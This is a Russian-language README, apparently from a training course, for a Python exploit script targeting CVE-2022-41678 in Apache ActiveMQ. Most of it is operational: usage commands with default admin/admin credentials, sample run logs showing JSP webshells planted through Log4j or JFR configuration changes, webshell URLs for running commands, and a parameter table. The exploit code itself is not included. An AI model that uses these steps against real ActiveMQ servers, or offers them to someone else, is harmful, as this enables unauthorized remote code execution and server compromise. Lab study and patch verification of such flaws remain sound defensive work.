
CVE-2022-41678 — это уязвимость удалённого выполнения кода в Apache ActiveMQ. Она позволяет атакующему через интерфейс JMX (Java Management Extensions) изменить конфигурацию Log4j или конфигурацию JFR (Java Flight Recorder), чтобы записать вредоносный JSP webshell в веб-каталог сервера, что в конечном итоге приводит к удалённому выполнению кода.
Справочный документ: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 — это уязвимость удалённого выполнения кода в Apache ActiveMQ. Данная уязвимость позволяет атакующему через интерфейс JMX (Java Management Extensions) изменить конфигурацию Log4j или JFR (Java Flight Recorder) и таким образом записать вредоносный JSP-веб-шелл в веб-каталог сервера, что в итоге приводит к удалённому выполнению кода.
Эта уязвимость затрагивает несколько версий Apache ActiveMQ; конкретные затронутые версии зависят от использования конфигураций Log4j и JFR.
pip install requests
Использование учётных данных по умолчанию admin/admin и автоматически определяемого способа эксплуатации:
python exp.py http://target:8161
Также можно указать имя пользователя и пароль с помощью параметров -u и -p:
# 使用 Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
Помимо способа эксплуатации Log4j, используемого по умолчанию, можно указать способ эксплуатации JFR с помощью параметра --exploit jfr.
# 使用 JFR 方式
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
После успешной эксплуатации можно выполнять команды, обращаясь по следующим URL:
# Log4j 方式写入的 webshell
http://target:8161/admin/shell.jsp?cmd=命令
# JFR 方式写入的 webshell
http://target:8161/admin/shelljfr.jsp?cmd=命令
Например, чтобы выполнить команду id:
http://target:8161/admin/shell.jsp?cmd=id
| Параметр | Сокращение | Тип | Значение по умолчанию | Описание |
|---|---|---|---|---|
--username | -u | строка | admin | Имя пользователя консоли ActiveMQ |
--password | -p | строка | admin | Пароль консоли ActiveMQ |
--exploit | -e | строка | auto | Способ эксплуатации, допустимые значения: auto, log4j, jfr |
url | - | строка | - | URL-адрес целевого ActiveMQ (обязательный параметр) |